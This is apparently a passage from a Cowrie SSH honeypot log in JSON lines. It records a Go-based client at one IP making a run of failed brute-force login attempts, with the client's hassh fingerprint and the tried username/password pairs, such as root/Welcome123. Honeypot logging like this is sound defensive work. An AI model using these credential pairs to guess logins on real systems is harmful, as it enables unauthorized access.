{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:15.422170Z","src_ip":"192.109.200.78","session":"6537c57f46d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:15.426308Z","src_ip":"192.109.200.78","session":"6537c57f46d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:15.790956Z","src_ip":"192.109.200.78","session":"6537c57f46d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:16.886786Z","src_ip":"192.109.200.78","session":"6537c57f46d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56534,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec674428ba00","protocol":"ssh","message":"New connection: 192.109.200.78:56534 (10.17.0.5:22) [session: ec674428ba00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:19.520317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:19.527753Z","src_ip":"192.109.200.78","session":"ec674428ba00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:19.615910Z","src_ip":"192.109.200.78","session":"ec674428ba00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:19.867373Z","src_ip":"192.109.200.78","session":"ec674428ba00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:20.954711Z","src_ip":"192.109.200.78","session":"ec674428ba00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56544,"dst_ip":"10.17.0.5","dst_port":22,"session":"528f43341409","protocol":"ssh","message":"New connection: 192.109.200.78:56544 (10.17.0.5:22) [session: 528f43341409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:23.718379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:23.724548Z","src_ip":"192.109.200.78","session":"528f43341409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:23.810786Z","src_ip":"192.109.200.78","session":"528f43341409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:24.064617Z","src_ip":"192.109.200.78","session":"528f43341409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:25.151470Z","src_ip":"192.109.200.78","session":"528f43341409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56560,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3230b05b295","protocol":"ssh","message":"New connection: 192.109.200.78:56560 (10.17.0.5:22) [session: f3230b05b295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:27.874504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:27.879946Z","src_ip":"192.109.200.78","session":"f3230b05b295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:27.962497Z","src_ip":"192.109.200.78","session":"f3230b05b295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:28.233248Z","src_ip":"192.109.200.78","session":"f3230b05b295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:29.318938Z","src_ip":"192.109.200.78","session":"f3230b05b295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44308,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf76ccc52c3","protocol":"ssh","message":"New connection: 192.109.200.78:44308 (10.17.0.5:22) [session: 6cf76ccc52c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:32.194646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:32.203752Z","src_ip":"192.109.200.78","session":"6cf76ccc52c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:32.292737Z","src_ip":"192.109.200.78","session":"6cf76ccc52c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:32.660728Z","src_ip":"192.109.200.78","session":"6cf76ccc52c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:33.835702Z","src_ip":"192.109.200.78","session":"6cf76ccc52c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44314,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe3217f4925e","protocol":"ssh","message":"New connection: 192.109.200.78:44314 (10.17.0.5:22) [session: fe3217f4925e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:36.157100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:36.162103Z","src_ip":"192.109.200.78","session":"fe3217f4925e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:36.243858Z","src_ip":"192.109.200.78","session":"fe3217f4925e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:36.840808Z","src_ip":"192.109.200.78","session":"fe3217f4925e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:37.928814Z","src_ip":"192.109.200.78","session":"fe3217f4925e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59328,"dst_ip":"10.17.0.5","dst_port":22,"session":"16dc5f319c02","protocol":"ssh","message":"New connection: 192.109.200.78:59328 (10.17.0.5:22) [session: 16dc5f319c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:40.444033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:40.449124Z","src_ip":"192.109.200.78","session":"16dc5f319c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:40.536443Z","src_ip":"192.109.200.78","session":"16dc5f319c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:41.072767Z","src_ip":"192.109.200.78","session":"16dc5f319c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.156065940856934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:41.134535Z","src_ip":"5.42.229.203","session":"b3e0fa672e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:42.158018Z","src_ip":"192.109.200.78","session":"16dc5f319c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dce2b0d4ba6","protocol":"ssh","message":"New connection: 192.109.200.78:59342 (10.17.0.5:22) [session: 5dce2b0d4ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:44.674224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:44.678959Z","src_ip":"192.109.200.78","session":"5dce2b0d4ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:44.762902Z","src_ip":"192.109.200.78","session":"5dce2b0d4ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:45.017639Z","src_ip":"192.109.200.78","session":"5dce2b0d4ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:46.112616Z","src_ip":"192.109.200.78","session":"5dce2b0d4ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34038,"dst_ip":"10.17.0.5","dst_port":22,"session":"71261f38ea07","protocol":"ssh","message":"New connection: 192.109.200.78:34038 (10.17.0.5:22) [session: 71261f38ea07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:48.694994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:48.700149Z","src_ip":"192.109.200.78","session":"71261f38ea07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-ni